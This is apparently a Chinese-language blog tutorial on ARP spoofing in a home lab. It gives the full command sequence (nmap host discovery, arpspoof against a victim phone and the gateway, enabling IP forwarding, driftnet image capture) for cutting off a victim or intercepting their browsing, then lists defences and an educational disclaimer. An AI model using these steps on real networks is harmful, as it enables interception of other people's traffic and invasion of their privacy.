科普

ARP攻击和欺骗是网络安全中比较经典的流量截取手段,特别是适合内网攻击。整个攻击原理简单举例来说就是作为攻击方A,利用网络层的ARP协议不安全性(估计ARP协议设计时候认为网络上IP和MAC都是很诚实地对应),伪造应答包(包含网关IP和攻击方的MAC地址),发送给受害方B,B通过接受到攻击方发送的ARP应答包,在自己的ARP缓存表中写入了虽然是网关的IP(前提是受害方B之前没有绑定过网关IP和其对应正确的MAC,不然ARP欺骗就没有用了),但是对应的MAC却是属于攻击方A的MAC,然后受害方B在浏览网络的时候,所有流量必须经过攻击方A,通过这种手段,攻击方A可以捕获受害方的上网流量。

说明

攻击方A:LinuxMint IP:192.168.3.100
受害方B:某安卓手机 IP:192.168.3.101 –理论上能基于ARP协议上网的设备都可以
网关:192.168.3.1
工具:
①nmap.–主机发现
②dsniff.–ARP欺骗
③driftnet.–图片截取
P.s.这三个工具在软件源里面都有,sudo apt-get install packagename一下就好了,当然如果是用Kali的就不用麻烦下载安装了,直接用就好了
本次实验目的:
㈠对受害方B进行断网攻击
㈡进行受害方B所浏览图片的截取.

ARP欺骗

Ⅰ.首先查看自己的网络情况 (这里是linux口令,windows是ipconfig)

ifconfig

找出本机使用的网卡,IP,子网掩码(subnet mask)
这里攻击方A的网卡:wlan0 IP:192.168.3.100 子网掩码:255.255.255.0
通过上面我们就可以知道我们属于的局域网的CIDR:192.168.3.100/24

Ⅱ.nmap主机发现

nmap -sn 192.168.3.100/24

当然因为现在是实验,所以你会发现主机发现结果是有 “3 hosts up”,分别是网关,攻击方A和受害方B。非实验环境下还需要抓包分析目标机行为得出其对应IP地址,这里就不赘述。 这一步我们得出了局域网中的主机存活情况

Ⅲ.ARP欺骗 先受害方B到网关

arpspoof -i wlan0 -t 192.168.3.101  192.168.3.1

在网关到受害方B

arpspoof -i wlan0 -t 192.168.3.1  192.168.3.101

因为处于安全性考虑linux默认是关闭包转发的,所以这时候完成欺骗后,因为没有攻击机的包转发,受害方B是无法上网的,这就是所谓的ARP断网攻击,显然这只是让受害方B无法上网,我们还没有达成目标,更重要的是我们想知道受害方B所浏览的图片情况。这里我们需要打开linux的包转发功能。

打开Linux包转发

a.登陆root权限 (当然你要不嫌麻烦这步可以省略,只不过你后面要不断用sudo 还要打密码)

sudo su

b.临时生效包转发 cat命令查看现在ip_forward值

cat  /proc/sys/net/ipv4/ip_forward
0

输出0,表示包转发关闭,一般linux都是默认关闭的。

echo "1">> /proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward
1

输出1,表示包转发开启. 以上提到的方法只是暂时开启,重启或者其他一些操作会让值变回0,要永久生效的办法请自行百度。 到这里真正完成ARP欺骗。

图片抓取

driftnet -i wlan0 -a -d /home/smona/桌面/pic

其中 -a 是后台运行,意思是不打印到显示框,而-d 是捕获图片地址路径
受害方B所浏览的所有图片内容会一一保存到你所指定的目录内

防范

ARP欺骗的防范并没有特别有效的办法,一般来说就是一下几种:

①arp -s 绑定网关IP和其正确的MAC,保持静态;
②arp -a 查看本机arp表发现ARP欺骗行为;
③通过ARP on,ARP wath,XARP 等工具检测ARP欺骗行为;

安全意识:
个人方面:用户在公共场合尽量不进行重要事务的处理,如若有必要尽量使用加密的方法,比如最简单的能用https的网址用https,警惕可疑的wifi等等
网关等服务方方面:网关等提供服务方的配合

免责声明

本博文提供方法仅仅用来学习ARP协议以及对ARP欺骗的深入理解
不提倡用于侵犯隐私等不正当行为
最后感谢网路上的各种ARP知识和教学的帖子分享,让我受益匪浅,同样我也欢迎大家在评论指出错误和分享经验~